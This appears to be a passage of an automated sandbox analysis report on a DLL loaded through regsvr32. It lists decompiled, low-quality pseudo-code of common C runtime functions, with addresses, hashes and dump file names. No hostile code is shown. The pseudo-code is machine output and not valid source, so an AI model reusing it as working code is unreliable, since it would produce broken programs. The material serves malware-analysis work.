				 *((char*)(__rdx + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				__eax = _v56;
				__rcx = _a8;
				 *((char*)(_a8 + __rax + 0x11d)) = 0;
				goto L2;
				__rcx = _v24;
				__rcx = _v24 ^ __rsp;
				return E000007FE7FEF9D23280(_v56, _v56, __edx, _v24 ^ __rsp, __rdx, __r8);
			}

0x7fef9d2a5e0
0x7fef9d2a5e0
0x7fef9d2a5ec
0x7fef9d2a5f6
0x7fef9d2a619
0x7fef9d2a61f
0x7fef9d2a62a
0x7fef9d2a635
0x7fef9d2a647
0x7fef9d2a658
0x7fef9d2a65f
0x7fef9d2a661
0x7fef9d2a671
0x7fef9d2a679
0x7fef9d2a687
0x7fef9d2a69c
0x7fef9d2a6a9
0x7fef9d2a6b0
0x7fef9d2a6bb
0x7fef9d2a6c2
0x7fef9d2a6d5
0x7fef9d2a6de
0x7fef9d2a6e6
0x7fef9d2a6e8
0x7fef9d2a6ea
0x7fef9d2a6fd
0x7fef9d2a70c
0x7fef9d2a715
0x7fef9d2a71a
0x7fef9d2a72f
0x7fef9d2a734
0x7fef9d2a747
0x7fef9d2a74b
0x7fef9d2a75b
0x7fef9d2a760
0x7fef9d2a770
0x7fef9d2a783
0x7fef9d2a788
0x7fef9d2a79b
0x7fef9d2a79f
0x7fef9d2a7af
0x7fef9d2a7b4
0x7fef9d2a7c4
0x7fef9d2a7ca
0x7fef9d2a7d7
0x7fef9d2a7dc
0x7fef9d2a7f2
0x7fef9d2a804
0x7fef9d2a81b
0x7fef9d2a828
0x7fef9d2a84b
0x7fef9d2a86d
0x7fef9d2a874
0x7fef9d2a88a
0x7fef9d2a897
0x7fef9d2a8ba
0x7fef9d2a8dc
0x7fef9d2a8e3
0x7fef9d2a8f4
0x7fef9d2a8fc
0x7fef9d2a901
0x7fef9d2a906
0x7fef9d2a91a
0x7fef9d2a91c
0x7fef9d2a92e
0x7fef9d2a93c
0x7fef9d2a946
0x7fef9d2a94f
0x7fef9d2a953
0x7fef9d2a960
0x7fef9d2a96a
0x7fef9d2a96e
0x7fef9d2a976
0x7fef9d2a981
0x7fef9d2a984
0x7fef9d2a98b
0x7fef9d2a993
0x7fef9d2a99a
0x7fef9d2a9a4
0x7fef9d2a9ae
0x7fef9d2a9b7
0x7fef9d2a9bb
0x7fef9d2a9c8
0x7fef9d2a9d2
0x7fef9d2a9d6
0x7fef9d2a9de
0x7fef9d2a9e9
0x7fef9d2a9ec
0x7fef9d2a9f3
0x7fef9d2a9fb
0x7fef9d2aa02
0x7fef9d2aa04
0x7fef9d2aa0b
0x7fef9d2aa13
0x7fef9d2aa1b
0x7fef9d2aa20
0x7fef9d2aa28
0x7fef9d2aa37

APIs

GetCPInfo.KERNEL32 ref: 000007FEF9D2A611

Strings

, xrefs: 000007FEF9D2A6DE
z, xrefs: 000007FEF9D2A9A6

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Info
String ID: $z
API String ID: 1807457897-2251613814
Opcode ID: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction ID: 4853ceba84ddbb230417778543f3b3b02ea2aa858227094ccd1c634e11d49f23
Opcode Fuzzy Hash: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction Fuzzy Hash: C8B1B77261CAC0CAD7B58B29E8807AFB7E0F388785F155125DAC983B99DB2DD4429F00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34960 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E000007FE7FEF9D34960(void* __ecx, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int _a40, intOrPtr _a48, long long _a56, long long _a64) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				char _v60;
				char _v64;
				signed int _v72;
				char _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* _t106;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				long long _t153;
				signed int _t161;
				signed int _t165;
				long long _t166;
				long long _t169;
				long long _t170;
				intOrPtr _t174;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t153 = _a8;
				if ( *_t153 != 0x80000003) goto 0xf9d34990;
				goto 0xf9d34cc6;
				0xf9d24000();
				if ( *((long long*)(_t153 + 0xe0)) == 0) goto 0xf9d34a33;
				0xf9d24000();
				_v56 = _t153;
				E000007FE7FEF9D23D00(_t106);
				if ( *((intOrPtr*)(_v56 + 0xe0)) == _t153) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434f4d) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434352) goto 0xf9d34a33;
				_v120 = _a64;
				_v128 = _a56;
				_v136 = _a40;
				if (E000007FE7FEF9D2E9B0(_a8, _a16, _a24, _a32) == 0) goto 0xf9d34a33;
				goto 0xf9d34cc6;
				if ( *((intOrPtr*)(_a40 + 0xc)) == 0) goto 0xf9d34a43;
				goto 0xf9d34a48;
				E000007FE7FEF9D2CF80(_a40);
				_v120 = _a32;
				_v128 =  &_v60;
				_t161 =  &_v64;
				_v136 = _t161;
				r9d = _a48;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v72 = _t161;
				_v64 = _v64 + 1;
				_v72 = _v72 + 0x14;
				if (_v64 - _v60 >= 0) goto 0xf9d34cc6;
				if (_a48 -  *_v72 < 0) goto 0xf9d34c2b;
				_t165 = _v72;
				if (_a48 -  *((intOrPtr*)(_t165 + 4)) > 0) goto 0xf9d34c2b;
				_t117 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t165 + 4)), _t165);
				_t166 = _t165 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t166 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34b53;
				_t118 = E000007FE7FEF9D2E680(_t117, _t166);
				_v48 = _t166;
				_t119 = E000007FE7FEF9D2E680(_t118, _t166);
				_t169 = _v48 +  *((intOrPtr*)(_t166 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				_v40 = _t169;
				goto 0xf9d34b5f;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d34bff;
				_t120 = E000007FE7FEF9D2E680(_t119, _t169);
				_t170 = _t169 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t170 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34be3;
				_t121 = E000007FE7FEF9D2E680(_t120, _t170);
				_v32 = _t170;
				E000007FE7FEF9D2E680(_t121, _t170);
				_v24 = _v32 +  *((intOrPtr*)(_t170 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				goto 0xf9d34bef;
				_v24 = 0;
				_t174 = _v24;
				if ( *((char*)(_t174 + 0x10)) != 0) goto 0xf9d34c2b;
				E000007FE7FEF9D2E680( *((char*)(_t174 + 0x10)), _t174);
				if (( *(_t174 +  *((intOrPtr*)(_v72 + 0x10)) + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14) & 0x00000040) == 0) goto 0xf9d34c30;
				goto L1;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_v72 =  *((intOrPtr*)(_v72 + 0x10));
				__rax = __rax +  *((intOrPtr*)(_v72 + 0x10));
				_v72 =  *((intOrPtr*)(_v72 + 0xc)) - 1;
				__rcx = ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__rax = __rax + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__eflags = __rax;
				_v80 = 0;
				_v88 = 1;
				__rcx = _a64;
				_v96 = _a64;
				_v104 = _a56;
				__rcx = _v72;
				_v112 = _v72;
				_v120 = 0;
				_v128 = __rax;
				__rax = _a40;
				_v136 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D35180(__edi, __esi, __esp, __eflags, _a8, _a16, _a24, _a32);
				goto L1;
				return __eax;
			}

0x7fef9d34960
0x7fef9d34965
0x7fef9d3496a
0x7fef9d3496f
0x7fef9d3497b
0x7fef9d34989
0x7fef9d3498b
0x7fef9d34990
0x7fef9d3499d
0x7fef9d349a3
0x7fef9d349a8
0x7fef9d349ad
0x7fef9d349be
0x7fef9d349ce
0x7fef9d349de
0x7fef9d349e8
0x7fef9d349f4
0x7fef9d34a00
0x7fef9d34a2c
0x7fef9d34a2e
0x7fef9d34a3f
0x7fef9d34a41
0x7fef9d34a43
0x7fef9d34a50
0x7fef9d34a5a
0x7fef9d34a5f
0x7fef9d34a64
0x7fef9d34a69
0x7fef9d34a71
0x7fef9d34a89
0x7fef9d34a8e
0x7fef9d34a9b
0x7fef9d34aa8
0x7fef9d34ab5
0x7fef9d34ac9
0x7fef9d34acf
0x7fef9d34ade
0x7fef9d34ae4
0x7fef9d34af2
0x7fef9d34b0b
0x7fef9d34b0d
0x7fef9d34b12
0x7fef9d34b17
0x7fef9d34b46
0x7fef9d34b49
0x7fef9d34b51
0x7fef9d34b53
0x7fef9d34b68
0x7fef9d34b6e
0x7fef9d34b7c
0x7fef9d34b95
0x7fef9d34b97
0x7fef9d34b9c
0x7fef9d34ba4
0x7fef9d34bd9
0x7fef9d34be1
0x7fef9d34be3
0x7fef9d34bef
0x7fef9d34bfd
0x7fef9d34bff
0x7fef9d34c29
0x7fef9d34c2b
0x7fef9d34c30
0x7fef9d34c3a
0x7fef9d34c3e
0x7fef9d34c4b
0x7fef9d34c4e
0x7fef9d34c52
0x7fef9d34c52
0x7fef9d34c55
0x7fef9d34c5a
0x7fef9d34c5f
0x7fef9d34c67
0x7fef9d34c73
0x7fef9d34c77
0x7fef9d34c7c
0x7fef9d34c81
0x7fef9d34c8a
0x7fef9d34c8f
0x7fef9d34c97
0x7fef9d34c9c
0x7fef9d34ca4
0x7fef9d34cac
0x7fef9d34cb4
0x7fef9d34cbc
0x7fef9d34cc1
0x7fef9d34ccd

Strings

RCC, xrefs: 000007FEF9D349D8
MOC, xrefs: 000007FEF9D349C8

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: MOC$RCC
API String ID: 0-2084237596
Opcode ID: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction ID: 969568d65f9d334bdbb71439fdfa9ac9293f65c07e2bfce327525da45f7ede8f
Opcode Fuzzy Hash: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction Fuzzy Hash: FA91193260DB8582DAA4DB55E49077EB3A0F7C4785F214526EACE83BA9CF3DE041CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

__updatetmbcinfo.LIBCMTD ref: 000007FEF9D29C2F

Part of subcall function 000007FEF9D29B10: _unlock.LIBCMTD ref: 000007FEF9D29BD9

Part of subcall function 000007FEF9D29F20: GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
Part of subcall function 000007FEF9D29F20: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74

_unlock.LIBCMTD ref: 000007FEF9D29EC8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c, xrefs: 000007FEF9D29C73

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale_unlock$UpdateUpdate::~___updatetmbcinfo
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c
API String ID: 4112623284-4095683531
Opcode ID: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction ID: 45fc69fecf93984735d9c4b87304ebe4c96837b84e7424b4db74fc1719c3d08d
Opcode Fuzzy Hash: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction Fuzzy Hash: 83911D36619B8586E7A08B19E98036E77E0F388798F654236EACD477B8CB3DD541CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6F8(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t217;
				signed char _t222;
				intOrPtr _t257;
				signed int _t332;
				signed int _t333;
				signed long long _t336;
				intOrPtr* _t359;
				signed long long _t384;

				_t332 = __rax;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t333 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t336 = _a824;
				_a832 = _t336;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t336;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t217 = _a116;
				_a116 = _a116 - 1;
				if (_t217 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t217 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t222 = _a816 + _a708;
				_a816 = _t222;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t222;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t257 = _a1060;
				_a876 = _t257;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t384, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6f8
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

9, xrefs: 000007FEF9D3C98F
0, xrefs: 000007FEF9D3C739

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: 0$9
API String ID: 1967237116-1975997740
Opcode ID: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction ID: c0a57250e5e6ff09cb8cd0b3e72d4402f8dee1629557039505579d47a847bcbd
Opcode Fuzzy Hash: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction Fuzzy Hash: 1E41C87660DAC187E7B58B19E8917AEB7E4F385791F100125EBC886B98DBBDD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E70C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D3E70C(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t213;
				signed char _t218;
				void* _t249;
				intOrPtr _t257;
				signed int _t331;
				signed int _t332;
				signed long long _t335;
				intOrPtr* _t354;
				intOrPtr* _t359;
				signed long long _t389;

				_t331 = __rax;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t332 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t335 = _a1304;
				_a1312 = _t335;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t335;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t213 = _a116;
				_a116 = _a116 - 1;
				if (_t213 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t213 / _a1480 + 0x30;
				_a1488 = _a72;
